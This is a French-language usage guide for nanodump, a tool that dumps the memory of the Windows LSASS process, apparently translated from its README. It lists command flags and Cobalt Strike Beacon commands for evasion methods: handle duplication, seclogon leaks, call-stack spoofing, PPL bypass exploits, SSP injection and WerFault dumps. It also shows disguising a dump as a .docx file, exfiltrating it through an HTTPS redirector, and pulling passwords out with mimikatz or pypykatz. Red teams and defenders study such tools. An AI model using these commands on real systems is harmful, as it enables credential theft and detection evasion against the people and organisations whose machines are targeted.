
Le couteau suisse du dump LSASS
Un outil flexible qui crée un minidump du processus LSASS.

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
--write DUMP_PATH, -w DUMP_PATH
filename of the dump
--valid, -v
create a dump with a valid signature
Obtain an LSASS handle via:
--duplicate, -d
duplicate a high privileged existing LSASS handle
--duplicate-elevate, -de
duplicate a low privileged existing LSASS handle and then elevate it
--seclogon-leak-local, -sll
leak an LSASS handle into nanodump via seclogon
--seclogon-leak-remote BIN_PATH, -slt BIN_PATH
leak an LSASS handle into another process via seclogon and duplicate it
--seclogon-duplicate, -sd
make seclogon open a handle to LSASS and duplicate it
--spoof-callstack, -sc
open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
--silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
force WerFault.exe to dump LSASS via SilentProcessExit
--shtinkering, -sk
force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
--fork, -f
fork the target process before dumping
--snapshot, -s
snapshot the target process before dumping
Avoid opening a handle with high privileges:
--elevate-handle, -eh
open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
--getpid
print the PID of LSASS and leave
--chunk-size
chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
--help, -h
print this help message and leave
git clone https://github.com/fortra/nanodump.git
Sous Linux avec MinGW
make -f Makefile.mingw
Sous Windows avec MSVC (Pas de support BOF)
nmake -f Makefile.msvc
Importez le script NanoDump.cna sur Cobalt Strike.
Exécutez la commande nanodump dans la console Beacon ou le binaire nanodump.x64.exe.
Si vous n'avez pas spécifié le drapeau --valid, vous devez restaurer la signature invalide
scripts/restore_signature <dumpfile>
mimikatz:
Pour obtenir les secrets, exécutez simplement :
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit
pypykatz:
Si vous préférez rester sous Linux, vous pouvez utiliser le port python3 de mimikatz appelé pypykatz :
python3 -m pypykatz lsa minidump <dumpfie>
Pour éviter d'ouvrir un handle vers LSASS avec PROCESS_VM_READ, vous pouvez utiliser le paramètre --fork.
Cela fera en sorte que nanodump crée un handle vers LSASS avec un accès PROCESS_CREATE_PROCESS puis crée un 'clone' du processus. Ce nouveau processus sera ensuite dumpé. Bien que cela entraîne la création et la suppression d'un processus, cela supprime le besoin de lire LSASS directement.
De manière similaire à l'option --fork, vous pouvez utiliser --snapshot pour créer un instantané du processus LSASS.
Cela fera en sorte que nanodump crée un handle vers LSASS avec un accès PROCESS_CREATE_PROCESS puis crée un instantané du processus en utilisant PssNtCaptureSnapshot. Ce nouveau processus sera ensuite dumpé. L'instantané sera libéré automatiquement une fois terminé.
Comme l'ouverture d'un handle vers LSASS peut être détectée, nanodump peut plutôt rechercher des handles existants vers LSASS.
S'il en trouve un, il le copie et l'utilise pour créer le minidump.
Notez qu'il n'est pas garanti de trouver un tel handle.
Vous pouvez obtenir un handle vers LSASS avec PROCESS_QUERY_LIMITED_INFORMATION, qui est susceptible d'être autorisé, puis élever ce handle en le dupliquant.
Pour éviter d'ouvrir un handle vers LSASS, vous pouvez abuser du service seclogon en appelant CreateProcessWithLogonW pour faire fuiter un handle LSASS dans le binaire nanodump.
Pour activer cette fonctionnalité, utilisez le paramètre --seclogon-leak-local.
À prendre en compte : lorsqu'elle est utilisée depuis Cobalt Strike, un binaire nanodump non signé doit être écrit sur le disque pour utiliser cette fonctionnalité.
Cette technique est très similaire à la précédente, mais au lieu de faire fuiter le handle dans nanodump, il est divulgué dans un autre binaire puis dupliqué afin que nanodump puisse l'utiliser.
Utilisez le drapeau --seclogon-leak-remote pour accéder à cette fonctionnalité.
Vous pouvez piéger le processus seclogon pour qu'il ouvre un handle vers LSASS et le duplique avant qu'il ne soit fermé, en gagnant une condition de concurrence à l'aide de verrous de fichiers.
Utilisez le drapeau --seclogon-duplicate pour accéder à cette fonctionnalité.
Vous pouvez charger nanodump en tant que SSP dans LSASS pour éviter d'ouvrir un handle.
Lorsque la DLL a été chargée dans LSASS, les paramètres seront transmis via un pipe nommé et une fois le dump terminé, DllMain retournera FALSE pour que LSASS décharge la DLL nanodump.
Vous pouvez coder en dur les paramètres dans la DLL et éviter complètement l'utilisation du pipe nommé avec le drapeau du compilateur PASS_PARAMS_VIA_NAMED_PIPES=0.
Par défaut, une DLL nanodump non signée sera téléchargée dans le dossier Temp, qui sera supprimée automatiquement.
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp
Si vous souhaitez charger une DLL préexistante, vous pouvez exécuter :
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll
Notez que cette vulnérabilité a été corrigée dans le pack de mise à jour de juillet 2022 (Windows 10 21H2 Build 19044.1826)
Pour accéder à cette fonctionnalité, utilisez la commande nanodump_ppl_dump
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp
Pour accéder à cette fonctionnalité, utilisez la commande nanodump_ppl_medic
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp
Comme le dump n'est pas effectué par nanodump, il aura toujours une signature valide.
Pour tirer parti de la technique Silent Process Exit, utilisez le paramètre --silent-process-exit et le chemin où le dump doit être créé.
beacon> nanodump --silent-process-exit C:\Windows\Temp\
Un dump du processus nanodump sera également créé, similaire à celui-ci :
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'
Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/23/2022 7:40 AM 58830409 lsass.exe-(PID-648).dmp
-a---- 6/23/2022 7:40 AM 7862825 nanodump.x64.exe-(PID-3224).dmp
Vous pouvez également utiliser la technique Shtinkering, qui nécessite que nanodump s'exécute sous SYSTEM :
beacon> nanodump --shtinkering
Le dump sera généralement créé sous C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps
Vous pouvez ouvrir un handle vers LSASS avec une fausse pile d'appels pour rendre l'appel de fonction un peu plus légitime (surtout s'il est exécuté en tant que BOF).
Pour accéder à cette fonctionnalité, utilisez le paramètre --spoof-callstack.
Vous pouvez combiner de nombreuses techniques pour personnaliser le fonctionnement de nanodump.
Le tableau suivant indique quels drapeaux peuvent être utilisés ensemble.
Lire LSASS indirectement en créant un fork et écrire le dump sur le disque avec une signature invalide :
beacon> nanodump --fork --write C:\lsass.dmp
Utiliser la fuite de handle Seclogon à distance pour faire fuiter un handle LSASS dans un processus notepad, dupliquer ce handle pour obtenir l'accès à LSASS, puis le lire indirectement en créant un fork et télécharger le dump avec une signature valide :
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid
Obtenir un handle avec la fuite de handle Seclogon local, lire LSASS indirectement en utilisant un fork et écrire le dump sur le disque avec une signature valide (un binaire nanodump sera téléchargé !) :
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp
Télécharger le dump avec une signature invalide (par défaut) :
beacon> nanodump
Dupliquer un handle existant et écrire le dump sur le disque avec une signature invalide :
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx
Obtenir le PID de LSASS :
beacon> nanodump --getpid
Charger nanodump dans LSASS en tant que SSP (un binaire nanodump sera téléchargé !) :
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp
Dumper LSASS en contournant PPL avec l'exploit PPLDump, en dupliquant le handle que csrss.exe a sur LSASS :
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp
Dumper LSASS en contournant PPL avec l'exploit PPLMedic, en ouvrant un handle à faible privilège vers LSASS puis en l'élevant :
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp
Piéger seclogon pour qu'il ouvre un handle vers LSASS et le duplique, puis télécharger le dump avec une signature invalide :
beacon> nanodump --seclogon-duplicate
Forcer le processus WerFault.exe à créer un dump mémoire complet dans le dossier Temp :
beacon> nanodump --werfault C:\Windows\Temp\
Ouvrir un handle vers LSASS avec une pile d'appels falsifiée et télécharger le minidump avec une signature invalide :
beacon> nanodump --spoof-callstack
Utiliser la technique Shtinkering :
beacon> nanodump --shtinkering
Obtenir un handle en utilisant la fuite de handle Seclogon local et créer le dump avec la technique Shtinkering :
beacon> nanodump --seclogon-leak-local --shtinkering
Obtenir un handle avec des privilèges faibles et l'élever en utilisant elevate handle :
beacon> nanodump --elevate-handle
Obtenir un handle avec des privilèges faibles en utilisant une pile d'appels falsifiée et l'élever en utilisant elevate handle :
beacon> nanodump --elevate-handle --spoof-callstack
Dupliquer un handle existant à faible privilège et l'élever en utilisant elevate handle :
beacon> nanodump --duplicate-elevate
Si vous utilisez un redirecteur HTTPS (comme vous le devriez), vous pourriez rencontrer des problèmes lors du téléchargement du dump sans fichier en raison de la taille des requêtes qui divulguent le dump.
Augmentez la taille maximale des requêtes sur votre serveur web pour permettre à nanodump de télécharger le dump.
location ~ ^...$ {
...
client_max_body_size 50M;
}
<Directory "...">
LimitRequestBody 52428800
</Directory>
| --write | --valid | --duplicate | --elevate-handle | --duplicate-elevate | --seclogon-leak-local | --seclogon-leak-remote | --seclogon-duplicate | --spoof-callstack | --silent-process-exit | --shtinkering | --fork | --snapshot | SSP | PPL_DUMP | PPL_MEDIC |
|---|
| --write | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --valid | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --elevate-handle | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --duplicate-elevate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-local | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-remote | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --spoof-callstack | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --silent-process-exit | ✓ | |||||||||||||||
| --shtinkering | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --fork | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| --snapshot | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| SSP | ✓ | |||||||||||||||
| PPL_DUMP | ✓ | ✓ | ✓ | ✓ | ||||||||||||
| PPL_MEDIC | ✓ | ✓ | ✓ | ✓ |